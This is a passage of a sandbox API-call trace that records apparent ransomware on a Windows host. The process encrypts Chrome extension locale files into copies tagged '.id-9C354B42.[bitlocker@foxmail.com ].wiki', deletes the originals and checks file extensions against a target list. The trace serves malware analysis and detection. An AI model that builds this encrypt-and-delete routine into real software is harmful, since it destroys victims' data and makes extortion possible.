halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0174.734] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.734] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.734] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0174.734] GetLastError () returned 0x0 [0174.734] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.842] WriteFile (in: hFile=0x334, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xc0, lpOverlapped=0x0) returned 1 [0175.001] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0175.001] WriteFile (in: hFile=0x334, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.001] SetEndOfFile (hFile=0x334) returned 1 [0175.001] CloseHandle (hObject=0x334) returned 1 [0175.001] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.001] SetEndOfFile (hFile=0x198) returned 1 [0175.002] CloseHandle (hObject=0x198) returned 1 [0175.002] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.002] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json")) returned 1 [0175.003] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json") returned 153 [0175.003] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json") returned 153 [0175.003] lstrlenW (lpString=".doc") returned 4 [0175.003] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.003] lstrlenW (lpString=".docx") returned 5 [0175.003] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.003] lstrlenW (lpString=".pdf") returned 4 [0175.003] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.003] lstrlenW (lpString=".xls") returned 4 [0175.003] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.003] lstrlenW (lpString=".xlsx") returned 5 [0175.003] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.003] lstrlenW (lpString=".ppt") returned 4 [0175.003] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.003] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json") returned 153 [0175.003] lstrlenW (lpString=".zip") returned 4 [0175.003] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.003] lstrlenW (lpString=".rar") returned 4 [0175.003] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.003] lstrlenW (lpString=".bz2") returned 4 [0175.003] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.003] lstrlenW (lpString=".7z") returned 3 [0175.004] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.004] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json") returned 153 [0175.004] lstrlenW (lpString=".dbf") returned 4 [0175.004] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.004] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json") returned 153 [0175.004] lstrlenW (lpString=".1cd") returned 4 [0175.004] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.004] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json") returned 153 [0175.004] lstrlenW (lpString=".jpg") returned 4 [0175.004] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.004] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json") returned 153 [0175.004] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json") returned 153 [0175.004] lstrlenW (lpString=".doc") returned 4 [0175.004] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.004] lstrlenW (lpString=".docx") returned 5 [0175.004] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.004] lstrlenW (lpString=".pdf") returned 4 [0175.004] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.004] lstrlenW (lpString=".xls") returned 4 [0175.004] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.004] lstrlenW (lpString=".xlsx") returned 5 [0175.004] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.004] lstrlenW (lpString=".ppt") returned 4 [0175.004] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.004] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json") returned 153 [0175.004] lstrlenW (lpString=".zip") returned 4 [0175.004] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.004] lstrlenW (lpString=".rar") returned 4 [0175.004] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.005] lstrlenW (lpString=".bz2") returned 4 [0175.005] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.005] lstrlenW (lpString=".7z") returned 3 [0175.005] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.005] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json") returned 153 [0175.005] lstrlenW (lpString=".dbf") returned 4 [0175.005] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.005] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json") returned 153 [0175.005] lstrlenW (lpString=".1cd") returned 4 [0175.005] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.005] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json") returned 153 [0175.005] lstrlenW (lpString=".jpg") returned 4 [0175.005] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.005] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.005] lstrlenW (lpString="messages.json") returned 13 [0175.005] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0175.006] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=218) returned 1 [0175.006] CloseHandle (hObject=0x198) returned 1 [0175.006] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json")) returned 0x2020 [0175.006] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.006] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0175.006] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.006] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.006] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0175.007] GetLastError () returned 0x0 [0175.007] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xda, lpOverlapped=0x0) returned 1 [0175.008] WriteFile (in: hFile=0x334, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0175.009] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0175.009] WriteFile (in: hFile=0x334, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.009] SetEndOfFile (hFile=0x334) returned 1 [0175.009] CloseHandle (hObject=0x334) returned 1 [0175.009] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.009] SetEndOfFile (hFile=0x198) returned 1 [0175.010] CloseHandle (hObject=0x198) returned 1 [0175.010] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.010] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json")) returned 1 [0175.010] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json") returned 151 [0175.010] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json") returned 151 [0175.010] lstrlenW (lpString=".doc") returned 4 [0175.010] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.010] lstrlenW (lpString=".docx") returned 5 [0175.010] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.010] lstrlenW (lpString=".pdf") returned 4 [0175.010] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.010] lstrlenW (lpString=".xls") returned 4 [0175.010] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.010] lstrlenW (lpString=".xlsx") returned 5 [0175.011] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.011] lstrlenW (lpString=".ppt") returned 4 [0175.011] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.011] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json") returned 151 [0175.011] lstrlenW (lpString=".zip") returned 4 [0175.011] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.011] lstrlenW (lpString=".rar") returned 4 [0175.011] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.011] lstrlenW (lpString=".bz2") returned 4 [0175.011] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.011] lstrlenW (lpString=".7z") returned 3 [0175.011] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.011] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json") returned 151 [0175.011] lstrlenW (lpString=".dbf") returned 4 [0175.011] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.011] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json") returned 151 [0175.011] lstrlenW (lpString=".1cd") returned 4 [0175.011] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.011] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json") returned 151 [0175.011] lstrlenW (lpString=".jpg") returned 4 [0175.011] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.011] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json") returned 151 [0175.011] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json") returned 151 [0175.011] lstrlenW (lpString=".doc") returned 4 [0175.011] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.011] lstrlenW (lpString=".docx") returned 5 [0175.011] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.011] lstrlenW (lpString=".pdf") returned 4 [0175.011] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.012] lstrlenW (lpString=".xls") returned 4 [0175.012] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.012] lstrlenW (lpString=".xlsx") returned 5 [0175.012] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.012] lstrlenW (lpString=".ppt") returned 4 [0175.012] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.012] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json") returned 151 [0175.012] lstrlenW (lpString=".zip") returned 4 [0175.012] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.012] lstrlenW (lpString=".rar") returned 4 [0175.012] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.012] lstrlenW (lpString=".bz2") returned 4 [0175.012] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.012] lstrlenW (lpString=".7z") returned 3 [0175.012] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.012] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json") returned 151 [0175.012] lstrlenW (lpString=".dbf") returned 4 [0175.012] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.012] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json") returned 151 [0175.012] lstrlenW (lpString=".1cd") returned 4 [0175.012] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.012] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json") returned 151 [0175.012] lstrlenW (lpString=".jpg") returned 4 [0175.012] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.012] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.012] lstrlenW (lpString="messages.json") returned 13 [0175.013] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0175.013] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=207) returned 1 [0175.013] CloseHandle (hObject=0x198) returned 1 [0175.013] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json")) returned 0x2020 [0175.013] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.013] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0175.013] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.014] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.014] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0175.014] GetLastError () returned 0x0 [0175.014] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xcf, lpOverlapped=0x0) returned 1 [0175.015] WriteFile (in: hFile=0x334, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xd0, lpOverlapped=0x0) returned 1 [0175.016] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0175.016] WriteFile (in: hFile=0x334, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.016] SetEndOfFile (hFile=0x334) returned 1 [0175.016] CloseHandle (hObject=0x334) returned 1 [0175.016] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.016] SetEndOfFile (hFile=0x198) returned 1 [0175.017] CloseHandle (hObject=0x198) returned 1 [0175.017] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.017] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json")) returned 1 [0175.018] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json") returned 151 [0175.018] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json") returned 151 [0175.018] lstrlenW 